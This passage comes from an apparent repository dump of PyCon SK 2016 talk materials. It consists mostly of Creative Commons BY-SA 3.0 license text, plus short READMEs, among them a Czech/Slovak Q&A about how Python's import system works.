107 | performances of the Work, including by public digital performance; to 108 | broadcast and rebroadcast the Work by any means including signs, 109 | sounds or images. 110 | k. "Reproduce" means to make copies of the Work by any means including 111 | without limitation by sound or visual recordings and the right of 112 | fixation and reproducing fixations of the Work, including storage of a 113 | protected performance or phonogram in digital form or other electronic 114 | medium. 115 | 116 | 2. Fair Dealing Rights. Nothing in this License is intended to reduce, 117 | limit, or restrict any uses free from copyright or rights arising from 118 | limitations or exceptions that are provided for in connection with the 119 | copyright protection under copyright law or other applicable laws. 120 | 121 | 3. License Grant. Subject to the terms and conditions of this License, 122 | Licensor hereby grants You a worldwide, royalty-free, non-exclusive, 123 | perpetual (for the duration of the applicable copyright) license to 124 | exercise the rights in the Work as stated below: 125 | 126 | a. to Reproduce the Work, to incorporate the Work into one or more 127 | Collections, and to Reproduce the Work as incorporated in the 128 | Collections; 129 | b. to create and Reproduce Adaptations provided that any such Adaptation, 130 | including any translation in any medium, takes reasonable steps to 131 | clearly label, demarcate or otherwise identify that changes were made 132 | to the original Work. For example, a translation could be marked "The 133 | original work was translated from English to Spanish," or a 134 | modification could indicate "The original work has been modified."; 135 | c. to Distribute and Publicly Perform the Work including as incorporated 136 | in Collections; and, 137 | d. to Distribute and Publicly Perform Adaptations. 138 | e. For the avoidance of doubt: 139 | 140 | i. Non-waivable Compulsory License Schemes. In those jurisdictions in 141 | which the right to collect royalties through any statutory or 142 | compulsory licensing scheme cannot be waived, the Licensor 143 | reserves the exclusive right to collect such royalties for any 144 | exercise by You of the rights granted under this License; 145 | ii. Waivable Compulsory License Schemes. In those jurisdictions in 146 | which the right to collect royalties through any statutory or 147 | compulsory licensing scheme can be waived, the Licensor waives the 148 | exclusive right to collect such royalties for any exercise by You 149 | of the rights granted under this License; and, 150 | iii. Voluntary License Schemes. The Licensor waives the right to 151 | collect royalties, whether individually or, in the event that the 152 | Licensor is a member of a collecting society that administers 153 | voluntary licensing schemes, via that society, from any exercise 154 | by You of the rights granted under this License. 155 | 156 | The above rights may be exercised in all media and formats whether now 157 | known or hereafter devised. The above rights include the right to make 158 | such modifications as are technically necessary to exercise the rights in 159 | other media and formats. Subject to Section 8(f), all rights not expressly 160 | granted by Licensor are hereby reserved. 161 | 162 | 4. Restrictions. The license granted in Section 3 above is expressly made 163 | subject to and limited by the following restrictions: 164 | 165 | a. You may Distribute or Publicly Perform the Work only under the terms 166 | of this License. You must include a copy of, or the Uniform Resource 167 | Identifier (URI) for, this License with every copy of the Work You 168 | Distribute or Publicly Perform. You may not offer or impose any terms 169 | on the Work that restrict the terms of this License or the ability of 170 | the recipient of the Work to exercise the rights granted to that 171 | recipient under the terms of the License. You may not sublicense the 172 | Work. You must keep intact all notices that refer to this License and 173 | to the disclaimer of warranties with every copy of the Work You 174 | Distribute or Publicly Perform. When You Distribute or Publicly 175 | Perform the Work, You may not impose any effective technological 176 | measures on the Work that restrict the ability of a recipient of the 177 | Work from You to exercise the rights granted to that recipient under 178 | the terms of the License. This Section 4(a) applies to the Work as 179 | incorporated in a Collection, but this does not require the Collection 180 | apart from the Work itself to be made subject to the terms of this 181 | License. If You create a Collection, upon notice from any Licensor You 182 | must, to the extent practicable, remove from the Collection any credit 183 | as required by Section 4(c), as requested. If You create an 184 | Adaptation, upon notice from any Licensor You must, to the extent 185 | practicable, remove from the Adaptation any credit as required by 186 | Section 4(c), as requested. 187 | b. You may Distribute or Publicly Perform an Adaptation only under the 188 | terms of: (i) this License; (ii) a later version of this License with 189 | the same License Elements as this License; (iii) a Creative Commons 190 | jurisdiction license (either this or a later license version) that 191 | contains the same License Elements as this License (e.g., 192 | Attribution-ShareAlike 3.0 US)); (iv) a Creative Commons Compatible 193 | License. If you license the Adaptation under one of the licenses 194 | mentioned in (iv), you must comply with the terms of that license. If 195 | you license the Adaptation under the terms of any of the licenses 196 | mentioned in (i), (ii) or (iii) (the "Applicable License"), you must 197 | comply with the terms of the Applicable License generally and the 198 | following provisions: (I) You must include a copy of, or the URI for, 199 | the Applicable License with every copy of each Adaptation You 200 | Distribute or Publicly Perform; (II) You may not offer or impose any 201 | terms on the Adaptation that restrict the terms of the Applicable 202 | License or the ability of the recipient of the Adaptation to exercise 203 | the rights granted to that recipient under the terms of the Applicable 204 | License; (III) You must keep intact all notices that refer to the 205 | Applicable License and to the disclaimer of warranties with every copy 206 | of the Work as included in the Adaptation You Distribute or Publicly 207 | Perform; (IV) when You Distribute or Publicly Perform the Adaptation, 208 | You may not impose any effective technological measures on the 209 | Adaptation that restrict the ability of a recipient of the Adaptation 210 | from You to exercise the rights granted to that recipient under the 211 | terms of the Applicable License. This Section 4(b) applies to the 212 | Adaptation as incorporated in a Collection, but this does not require 213 | the Collection apart from the Adaptation itself to be made subject to 214 | the terms of the Applicable License. 215 | c. If You Distribute, or Publicly Perform the Work or any Adaptations or 216 | Collections, You must, unless a request has been made pursuant to 217 | Section 4(a), keep intact all copyright notices for the Work and 218 | provide, reasonable to the medium or means You are utilizing: (i) the 219 | name of the Original Author (or pseudonym, if applicable) if supplied, 220 | and/or if the Original Author and/or Licensor designate another party 221 | or parties (e.g., a sponsor institute, publishing entity, journal) for 222 | attribution ("Attribution Parties") in Licensor's copyright notice, 223 | terms of service or by other reasonable means, the name of such party 224 | or parties; (ii) the title of the Work if supplied; (iii) to the 225 | extent reasonably practicable, the URI, if any, that Licensor 226 | specifies to be associated with the Work, unless such URI does not 227 | refer to the copyright notice or licensing information for the Work; 228 | and (iv) , consistent with Ssection 3(b), in the case of an 229 | Adaptation, a credit identifying the use of the Work in the Adaptation 230 | (e.g., "French translation of the Work by Original Author," or 231 | "Screenplay based on original Work by Original Author"). The credit 232 | required by this Section 4(c) may be implemented in any reasonable 233 | manner; provided, however, that in the case of a Adaptation or 234 | Collection, at a minimum such credit will appear, if a credit for all 235 | contributing authors of the Adaptation or Collection appears, then as 236 | part of these credits and in a manner at least as prominent as the 237 | credits for the other contributing authors. For the avoidance of 238 | doubt, You may only use the credit required by this Section for the 239 | purpose of attribution in the manner set out above and, by exercising 240 | Your rights under this License, You may not implicitly or explicitly 241 | assert or imply any connection with, sponsorship or endorsement by the 242 | Original Author, Licensor and/or Attribution Parties, as appropriate, 243 | of You or Your use of the Work, without the separate, express prior 244 | written permission of the Original Author, Licensor and/or Attribution 245 | Parties. 246 | d. Except as otherwise agreed in writing by the Licensor or as may be 247 | otherwise permitted by applicable law, if You Reproduce, Distribute or 248 | Publicly Perform the Work either by itself or as part of any 249 | Adaptations or Collections, You must not distort, mutilate, modify or 250 | take other derogatory action in relation to the Work which would be 251 | prejudicial to the Original Author's honor or reputation. Licensor 252 | agrees that in those jurisdictions (e.g. Japan), in which any exercise 253 | of the right granted in Section 3(b) of this License (the right to 254 | make Adaptations) would be deemed to be a distortion, mutilation, 255 | modification or other derogatory action prejudicial to the Original 256 | Author's honor and reputation, the Licensor will waive or not assert, 257 | as appropriate, this Section, to the fullest extent permitted by the 258 | applicable national law, to enable You to reasonably exercise Your 259 | right under Section 3(b) of this License (right to make Adaptations) 260 | but not otherwise. 261 | 262 | 5. Representations, Warranties and Disclaimer 263 | 264 | UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR 265 | OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY 266 | KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, 267 | INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, 268 | FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF 269 | LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, 270 | WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION 271 | OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU. 272 | 273 | 6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE 274 | LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR 275 | ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES 276 | ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS 277 | BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 278 | 279 | 7. Termination 280 | 281 | a. This License and the rights granted hereunder will terminate 282 | automatically upon any breach by You of the terms of this License. 283 | Individuals or entities who have received Adaptations or Collections 284 | from You under this License, however, will not have their licenses 285 | terminated provided such individuals or entities remain in full 286 | compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will 287 | survive any termination of this License. 288 | b. Subject to the above terms and conditions, the license granted here is 289 | perpetual (for the duration of the applicable copyright in the Work). 290 | Notwithstanding the above, Licensor reserves the right to release the 291 | Work under different license terms or to stop distributing the Work at 292 | any time; provided, however that any such election will not serve to 293 | withdraw this License (or any other license that has been, or is 294 | required to be, granted under the terms of this License), and this 295 | License will continue in full force and effect unless terminated as 296 | stated above. 297 | 298 | 8. Miscellaneous 299 | 300 | a. Each time You Distribute or Publicly Perform the Work or a Collection, 301 | the Licensor offers to the recipient a license to the Work on the same 302 | terms and conditions as the license granted to You under this License. 303 | b. Each time You Distribute or Publicly Perform an Adaptation, Licensor 304 | offers to the recipient a license to the original Work on the same 305 | terms and conditions as the license granted to You under this License. 306 | c. If any provision of this License is invalid or unenforceable under 307 | applicable law, it shall not affect the validity or enforceability of 308 | the remainder of the terms of this License, and without further action 309 | by the parties to this agreement, such provision shall be reformed to 310 | the minimum extent necessary to make such provision valid and 311 | enforceable. 312 | d. No term or provision of this License shall be deemed waived and no 313 | breach consented to unless such waiver or consent shall be in writing 314 | and signed by the party to be charged with such waiver or consent. 315 | e. This License constitutes the entire agreement between the parties with 316 | respect to the Work licensed here. There are no understandings, 317 | agreements or representations with respect to the Work not specified 318 | here. Licensor shall not be bound by any additional provisions that 319 | may appear in any communication from You. This License may not be 320 | modified without the mutual written agreement of the Licensor and You. 321 | f. The rights granted under, and the subject matter referenced, in this 322 | License were drafted utilizing the terminology of the Berne Convention 323 | for the Protection of Literary and Artistic Works (as amended on 324 | September 28, 1979), the Rome Convention of 1961, the WIPO Copyright 325 | Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 326 | and the Universal Copyright Convention (as revised on July 24, 1971). 327 | These rights and subject matter take effect in the relevant 328 | jurisdiction in which the License terms are sought to be enforced 329 | according to the corresponding provisions of the implementation of 330 | those treaty provisions in the applicable national law. If the 331 | standard suite of rights granted under applicable copyright law 332 | includes additional rights not granted under this License, such 333 | additional rights are deemed to be included in the License; this 334 | License is not intended to restrict the license of any rights under 335 | applicable law. 336 | 337 | 338 | Creative Commons Notice 339 | 340 | Creative Commons is not a party to this License, and makes no warranty 341 | whatsoever in connection with the Work. Creative Commons will not be 342 | liable to You or any party on any legal theory for any damages 343 | whatsoever, including without limitation any general, special, 344 | incidental or consequential damages arising in connection to this 345 | license. Notwithstanding the foregoing two (2) sentences, if Creative 346 | Commons has expressly identified itself as the Licensor hereunder, it 347 | shall have all rights and obligations of Licensor. 348 | 349 | Except for the limited purpose of indicating to the public that the 350 | Work is licensed under the CCPL, Creative Commons does not authorize 351 | the use by either party of the trademark "Creative Commons" or any 352 | related trademark or logo of Creative Commons without the prior 353 | written consent of Creative Commons. Any permitted use will be in 354 | compliance with Creative Commons' then-current trademark usage 355 | guidelines, as may be published on its website or otherwise made 356 | available upon request from time to time. For the avoidance of doubt, 357 | this trademark restriction does not form part of the License. 358 | 359 | Creative Commons may be contacted at https://creativecommons.org/. 360 | -------------------------------------------------------------------------------- /Jak_Funguje_Import/README.md: -------------------------------------------------------------------------------- 1 | # Jak funguje import 2 | ## Petr Viktorin 3 | 4 | 5 | Kontaktujte mě na encukou@gmail.com :) 6 | 7 | ### Nezodpovězené Otázky ze sli.do 8 | 9 | #### Ake su najznamejsie kniznice, projekty ktore manipuluju import machinery a robia nieco nestandardne. 10 | 11 | Nejznámější asi pytest a setuptools, ale tady je pár *zajímavých*: 12 | 13 | * [MacroPy](https://pypi.python.org/pypi/MacroPy) přidává do Pythonu makra 14 | * [hy](http://docs.hylang.org/en/latest/) umožňuje psát pythoní moduly v Lispu 15 | * [Setuptools](https://pypi.python.org/pypi/setuptools) mají koncept "Namespace Packages", (který je sice dnes zastaralý, ale zase funguje na Pythonu 2) 16 | * [enaml](http://nucleic.github.io/enaml/docs/) umí přímo importovat importovat definice UI 17 | * David Beazley měl na PyConu [workshop](http://www.dabeaz.com/modulepackage/index.html) kde prezentoval svůj urlimport 18 | 19 | #### Will we have hot code reload in python someday? 20 | 21 | Is [importlib.reload](https://docs.python.org/3/library/importlib.html#importlib.reload) not hot enough? :) 22 | 23 | [IPython's %autoreload](http://ipython.readthedocs.org/en/stable/config/extensions/autoreload.html) also solves a similar problem. 24 | 25 | It seems that a fully robust solution to the many problems that people want when they say "reload" is probably incompatible with Python's object model. 26 | 27 | #### Pokud modifikuju path kvuli nacitani, je velky rozdil jestli to pridam na zacatek nebo na konec? 28 | 29 | Je. Pokud je na cestě víc modulů stejného jména, najde se jen ten první. 30 | Takže když něco přidám na začátek, zastíní to všechny ostatní moduly včetně std. knihovny. 31 | 32 | #### V e-mailu bylo napsáno, že v pátek bude vše ve slovenštině a Petr mluví česky. Je to vůbec možné? :D 33 | 34 | Na PyCon SK je možné všechno! 35 | 36 | #### Sú nejaké ďalšie rozdiely medzi py2 a py3? 37 | 38 | Spousta. V Pythonu 2 fungují importy docela jinak, a navíc je referenční implementace importování napsaná v C, takže tomu moc lidí nerozumí :) 39 | 40 | #### import braces 41 | 42 | Stále bez šance. Leda bys chtěl slovník. 43 | 44 | ### Licence 45 | 46 | Slajdy jsou pod licencí CC-BY-SA 3.0 Unported. 47 | -------------------------------------------------------------------------------- /Jak_Funguje_Import/jak-funguje-import.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Jak_Funguje_Import/jak-funguje-import.pdf -------------------------------------------------------------------------------- /Jupyter_Notebook/README.md: -------------------------------------------------------------------------------- 1 | # Jupyter notebook at home, in school, everywhere 2 | 3 | ## Michal Kaukič 4 | 5 | Presentation materials are available here: http://ulabserv.fri.uniza.sk/Download/jupyter_ukazky.tgz 6 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/LICENSE.CC-BY-SA: -------------------------------------------------------------------------------- 1 | Creative Commons Legal Code 2 | 3 | Attribution-ShareAlike 3.0 Unported 4 | 5 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 6 | LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN 7 | ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 8 | INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 9 | REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR 10 | DAMAGES RESULTING FROM ITS USE. 11 | 12 | License 13 | 14 | THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE 15 | COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY 16 | COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS 17 | AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED. 18 | 19 | BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE 20 | TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY 21 | BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS 22 | CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND 23 | CONDITIONS. 24 | 25 | 1. Definitions 26 | 27 | a. "Adaptation" means a work based upon the Work, or upon the Work and 28 | other pre-existing works, such as a translation, adaptation, 29 | derivative work, arrangement of music or other alterations of a 30 | literary or artistic work, or phonogram or performance and includes 31 | cinematographic adaptations or any other form in which the Work may be 32 | recast, transformed, or adapted including in any form recognizably 33 | derived from the original, except that a work that constitutes a 34 | Collection will not be considered an Adaptation for the purpose of 35 | this License. For the avoidance of doubt, where the Work is a musical 36 | work, performance or phonogram, the synchronization of the Work in 37 | timed-relation with a moving image ("synching") will be considered an 38 | Adaptation for the purpose of this License. 39 | b. "Collection" means a collection of literary or artistic works, such as 40 | encyclopedias and anthologies, or performances, phonograms or 41 | broadcasts, or other works or subject matter other than works listed 42 | in Section 1(f) below, which, by reason of the selection and 43 | arrangement of their contents, constitute intellectual creations, in 44 | which the Work is included in its entirety in unmodified form along 45 | with one or more other contributions, each constituting separate and 46 | independent works in themselves, which together are assembled into a 47 | collective whole. A work that constitutes a Collection will not be 48 | considered an Adaptation (as defined below) for the purposes of this 49 | License. 50 | c. "Creative Commons Compatible License" means a license that is listed 51 | at https://creativecommons.org/compatiblelicenses that has been 52 | approved by Creative Commons as being essentially equivalent to this 53 | License, including, at a minimum, because that license: (i) contains 54 | terms that have the same purpose, meaning and effect as the License 55 | Elements of this License; and, (ii) explicitly permits the relicensing 56 | of adaptations of works made available under that license under this 57 | License or a Creative Commons jurisdiction license with the same 58 | License Elements as this License. 59 | d. "Distribute" means to make available to the public the original and 60 | copies of the Work or Adaptation, as appropriate, through sale or 61 | other transfer of ownership. 62 | e. "License Elements" means the following high-level license attributes 63 | as selected by Licensor and indicated in the title of this License: 64 | Attribution, ShareAlike. 65 | f. "Licensor" means the individual, individuals, entity or entities that 66 | offer(s) the Work under the terms of this License. 67 | g. "Original Author" means, in the case of a literary or artistic work, 68 | the individual, individuals, entity or entities who created the Work 69 | or if no individual or entity can be identified, the publisher; and in 70 | addition (i) in the case of a performance the actors, singers, 71 | musicians, dancers, and other persons who act, sing, deliver, declaim, 72 | play in, interpret or otherwise perform literary or artistic works or 73 | expressions of folklore; (ii) in the case of a phonogram the producer 74 | being the person or legal entity who first fixes the sounds of a 75 | performance or other sounds; and, (iii) in the case of broadcasts, the 76 | organization that transmits the broadcast. 77 | h. "Work" means the literary and/or artistic work offered under the terms 78 | of this License including without limitation any production in the 79 | literary, scientific and artistic domain, whatever may be the mode or 80 | form of its expression including digital form, such as a book, 81 | pamphlet and other writing; a lecture, address, sermon or other work 82 | of the same nature; a dramatic or dramatico-musical work; a 83 | choreographic work or entertainment in dumb show; a musical 84 | composition with or without words; a cinematographic work to which are 85 | assimilated works expressed by a process analogous to cinematography; 86 | a work of drawing, painting, architecture, sculpture, engraving or 87 | lithography; a photographic work to which are assimilated works 88 | expressed by a process analogous to photography; a work of applied 89 | art; an illustration, map, plan, sketch or three-dimensional work 90 | relative to geography, topography, architecture or science; a 91 | performance; a broadcast; a phonogram; a compilation of data to the 92 | extent it is protected as a copyrightable work; or a work performed by 93 | a variety or circus performer to the extent it is not otherwise 94 | considered a literary or artistic work. 95 | i. "You" means an individual or entity exercising rights under this 96 | License who has not previously violated the terms of this License with 97 | respect to the Work, or who has received express permission from the 98 | Licensor to exercise rights under this License despite a previous 99 | violation. 100 | j. "Publicly Perform" means to perform public recitations of the Work and 101 | to communicate to the public those public recitations, by any means or 102 | process, including by wire or wireless means or public digital 103 | performances; to make available to the public Works in such a way that 104 | members of the public may access these Works from a place and at a 105 | place individually chosen by them; to perform the Work to the public 106 | by any means or process and the communication to the public of the 107 | performances of the Work, including by public digital performance; to 108 | broadcast and rebroadcast the Work by any means including signs, 109 | sounds or images. 110 | k. "Reproduce" means to make copies of the Work by any means including 111 | without limitation by sound or visual recordings and the right of 112 | fixation and reproducing fixations of the Work, including storage of a 113 | protected performance or phonogram in digital form or other electronic 114 | medium. 115 | 116 | 2. Fair Dealing Rights. Nothing in this License is intended to reduce, 117 | limit, or restrict any uses free from copyright or rights arising from 118 | limitations or exceptions that are provided for in connection with the 119 | copyright protection under copyright law or other applicable laws. 120 | 121 | 3. License Grant. Subject to the terms and conditions of this License, 122 | Licensor hereby grants You a worldwide, royalty-free, non-exclusive, 123 | perpetual (for the duration of the applicable copyright) license to 124 | exercise the rights in the Work as stated below: 125 | 126 | a. to Reproduce the Work, to incorporate the Work into one or more 127 | Collections, and to Reproduce the Work as incorporated in the 128 | Collections; 129 | b. to create and Reproduce Adaptations provided that any such Adaptation, 130 | including any translation in any medium, takes reasonable steps to 131 | clearly label, demarcate or otherwise identify that changes were made 132 | to the original Work. For example, a translation could be marked "The 133 | original work was translated from English to Spanish," or a 134 | modification could indicate "The original work has been modified."; 135 | c. to Distribute and Publicly Perform the Work including as incorporated 136 | in Collections; and, 137 | d. to Distribute and Publicly Perform Adaptations. 138 | e. For the avoidance of doubt: 139 | 140 | i. Non-waivable Compulsory License Schemes. In those jurisdictions in 141 | which the right to collect royalties through any statutory or 142 | compulsory licensing scheme cannot be waived, the Licensor 143 | reserves the exclusive right to collect such royalties for any 144 | exercise by You of the rights granted under this License; 145 | ii. Waivable Compulsory License Schemes. In those jurisdictions in 146 | which the right to collect royalties through any statutory or 147 | compulsory licensing scheme can be waived, the Licensor waives the 148 | exclusive right to collect such royalties for any exercise by You 149 | of the rights granted under this License; and, 150 | iii. Voluntary License Schemes. The Licensor waives the right to 151 | collect royalties, whether individually or, in the event that the 152 | Licensor is a member of a collecting society that administers 153 | voluntary licensing schemes, via that society, from any exercise 154 | by You of the rights granted under this License. 155 | 156 | The above rights may be exercised in all media and formats whether now 157 | known or hereafter devised. The above rights include the right to make 158 | such modifications as are technically necessary to exercise the rights in 159 | other media and formats. Subject to Section 8(f), all rights not expressly 160 | granted by Licensor are hereby reserved. 161 | 162 | 4. Restrictions. The license granted in Section 3 above is expressly made 163 | subject to and limited by the following restrictions: 164 | 165 | a. You may Distribute or Publicly Perform the Work only under the terms 166 | of this License. You must include a copy of, or the Uniform Resource 167 | Identifier (URI) for, this License with every copy of the Work You 168 | Distribute or Publicly Perform. You may not offer or impose any terms 169 | on the Work that restrict the terms of this License or the ability of 170 | the recipient of the Work to exercise the rights granted to that 171 | recipient under the terms of the License. You may not sublicense the 172 | Work. You must keep intact all notices that refer to this License and 173 | to the disclaimer of warranties with every copy of the Work You 174 | Distribute or Publicly Perform. When You Distribute or Publicly 175 | Perform the Work, You may not impose any effective technological 176 | measures on the Work that restrict the ability of a recipient of the 177 | Work from You to exercise the rights granted to that recipient under 178 | the terms of the License. This Section 4(a) applies to the Work as 179 | incorporated in a Collection, but this does not require the Collection 180 | apart from the Work itself to be made subject to the terms of this 181 | License. If You create a Collection, upon notice from any Licensor You 182 | must, to the extent practicable, remove from the Collection any credit 183 | as required by Section 4(c), as requested. If You create an 184 | Adaptation, upon notice from any Licensor You must, to the extent 185 | practicable, remove from the Adaptation any credit as required by 186 | Section 4(c), as requested. 187 | b. You may Distribute or Publicly Perform an Adaptation only under the 188 | terms of: (i) this License; (ii) a later version of this License with 189 | the same License Elements as this License; (iii) a Creative Commons 190 | jurisdiction license (either this or a later license version) that 191 | contains the same License Elements as this License (e.g., 192 | Attribution-ShareAlike 3.0 US)); (iv) a Creative Commons Compatible 193 | License. If you license the Adaptation under one of the licenses 194 | mentioned in (iv), you must comply with the terms of that license. If 195 | you license the Adaptation under the terms of any of the licenses 196 | mentioned in (i), (ii) or (iii) (the "Applicable License"), you must 197 | comply with the terms of the Applicable License generally and the 198 | following provisions: (I) You must include a copy of, or the URI for, 199 | the Applicable License with every copy of each Adaptation You 200 | Distribute or Publicly Perform; (II) You may not offer or impose any 201 | terms on the Adaptation that restrict the terms of the Applicable 202 | License or the ability of the recipient of the Adaptation to exercise 203 | the rights granted to that recipient under the terms of the Applicable 204 | License; (III) You must keep intact all notices that refer to the 205 | Applicable License and to the disclaimer of warranties with every copy 206 | of the Work as included in the Adaptation You Distribute or Publicly 207 | Perform; (IV) when You Distribute or Publicly Perform the Adaptation, 208 | You may not impose any effective technological measures on the 209 | Adaptation that restrict the ability of a recipient of the Adaptation 210 | from You to exercise the rights granted to that recipient under the 211 | terms of the Applicable License. This Section 4(b) applies to the 212 | Adaptation as incorporated in a Collection, but this does not require 213 | the Collection apart from the Adaptation itself to be made subject to 214 | the terms of the Applicable License. 215 | c. If You Distribute, or Publicly Perform the Work or any Adaptations or 216 | Collections, You must, unless a request has been made pursuant to 217 | Section 4(a), keep intact all copyright notices for the Work and 218 | provide, reasonable to the medium or means You are utilizing: (i) the 219 | name of the Original Author (or pseudonym, if applicable) if supplied, 220 | and/or if the Original Author and/or Licensor designate another party 221 | or parties (e.g., a sponsor institute, publishing entity, journal) for 222 | attribution ("Attribution Parties") in Licensor's copyright notice, 223 | terms of service or by other reasonable means, the name of such party 224 | or parties; (ii) the title of the Work if supplied; (iii) to the 225 | extent reasonably practicable, the URI, if any, that Licensor 226 | specifies to be associated with the Work, unless such URI does not 227 | refer to the copyright notice or licensing information for the Work; 228 | and (iv) , consistent with Ssection 3(b), in the case of an 229 | Adaptation, a credit identifying the use of the Work in the Adaptation 230 | (e.g., "French translation of the Work by Original Author," or 231 | "Screenplay based on original Work by Original Author"). The credit 232 | required by this Section 4(c) may be implemented in any reasonable 233 | manner; provided, however, that in the case of a Adaptation or 234 | Collection, at a minimum such credit will appear, if a credit for all 235 | contributing authors of the Adaptation or Collection appears, then as 236 | part of these credits and in a manner at least as prominent as the 237 | credits for the other contributing authors. For the avoidance of 238 | doubt, You may only use the credit required by this Section for the 239 | purpose of attribution in the manner set out above and, by exercising 240 | Your rights under this License, You may not implicitly or explicitly 241 | assert or imply any connection with, sponsorship or endorsement by the 242 | Original Author, Licensor and/or Attribution Parties, as appropriate, 243 | of You or Your use of the Work, without the separate, express prior 244 | written permission of the Original Author, Licensor and/or Attribution 245 | Parties. 246 | d. Except as otherwise agreed in writing by the Licensor or as may be 247 | otherwise permitted by applicable law, if You Reproduce, Distribute or 248 | Publicly Perform the Work either by itself or as part of any 249 | Adaptations or Collections, You must not distort, mutilate, modify or 250 | take other derogatory action in relation to the Work which would be 251 | prejudicial to the Original Author's honor or reputation. Licensor 252 | agrees that in those jurisdictions (e.g. Japan), in which any exercise 253 | of the right granted in Section 3(b) of this License (the right to 254 | make Adaptations) would be deemed to be a distortion, mutilation, 255 | modification or other derogatory action prejudicial to the Original 256 | Author's honor and reputation, the Licensor will waive or not assert, 257 | as appropriate, this Section, to the fullest extent permitted by the 258 | applicable national law, to enable You to reasonably exercise Your 259 | right under Section 3(b) of this License (right to make Adaptations) 260 | but not otherwise. 261 | 262 | 5. Representations, Warranties and Disclaimer 263 | 264 | UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR 265 | OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY 266 | KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, 267 | INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, 268 | FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF 269 | LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, 270 | WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION 271 | OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU. 272 | 273 | 6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE 274 | LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR 275 | ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES 276 | ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS 277 | BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 278 | 279 | 7. Termination 280 | 281 | a. This License and the rights granted hereunder will terminate 282 | automatically upon any breach by You of the terms of this License. 283 | Individuals or entities who have received Adaptations or Collections 284 | from You under this License, however, will not have their licenses 285 | terminated provided such individuals or entities remain in full 286 | compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will 287 | survive any termination of this License. 288 | b. Subject to the above terms and conditions, the license granted here is 289 | perpetual (for the duration of the applicable copyright in the Work). 290 | Notwithstanding the above, Licensor reserves the right to release the 291 | Work under different license terms or to stop distributing the Work at 292 | any time; provided, however that any such election will not serve to 293 | withdraw this License (or any other license that has been, or is 294 | required to be, granted under the terms of this License), and this 295 | License will continue in full force and effect unless terminated as 296 | stated above. 297 | 298 | 8. Miscellaneous 299 | 300 | a. Each time You Distribute or Publicly Perform the Work or a Collection, 301 | the Licensor offers to the recipient a license to the Work on the same 302 | terms and conditions as the license granted to You under this License. 303 | b. Each time You Distribute or Publicly Perform an Adaptation, Licensor 304 | offers to the recipient a license to the original Work on the same 305 | terms and conditions as the license granted to You under this License. 306 | c. If any provision of this License is invalid or unenforceable under 307 | applicable law, it shall not affect the validity or enforceability of 308 | the remainder of the terms of this License, and without further action 309 | by the parties to this agreement, such provision shall be reformed to 310 | the minimum extent necessary to make such provision valid and 311 | enforceable. 312 | d. No term or provision of this License shall be deemed waived and no 313 | breach consented to unless such waiver or consent shall be in writing 314 | and signed by the party to be charged with such waiver or consent. 315 | e. This License constitutes the entire agreement between the parties with 316 | respect to the Work licensed here. There are no understandings, 317 | agreements or representations with respect to the Work not specified 318 | here. Licensor shall not be bound by any additional provisions that 319 | may appear in any communication from You. This License may not be 320 | modified without the mutual written 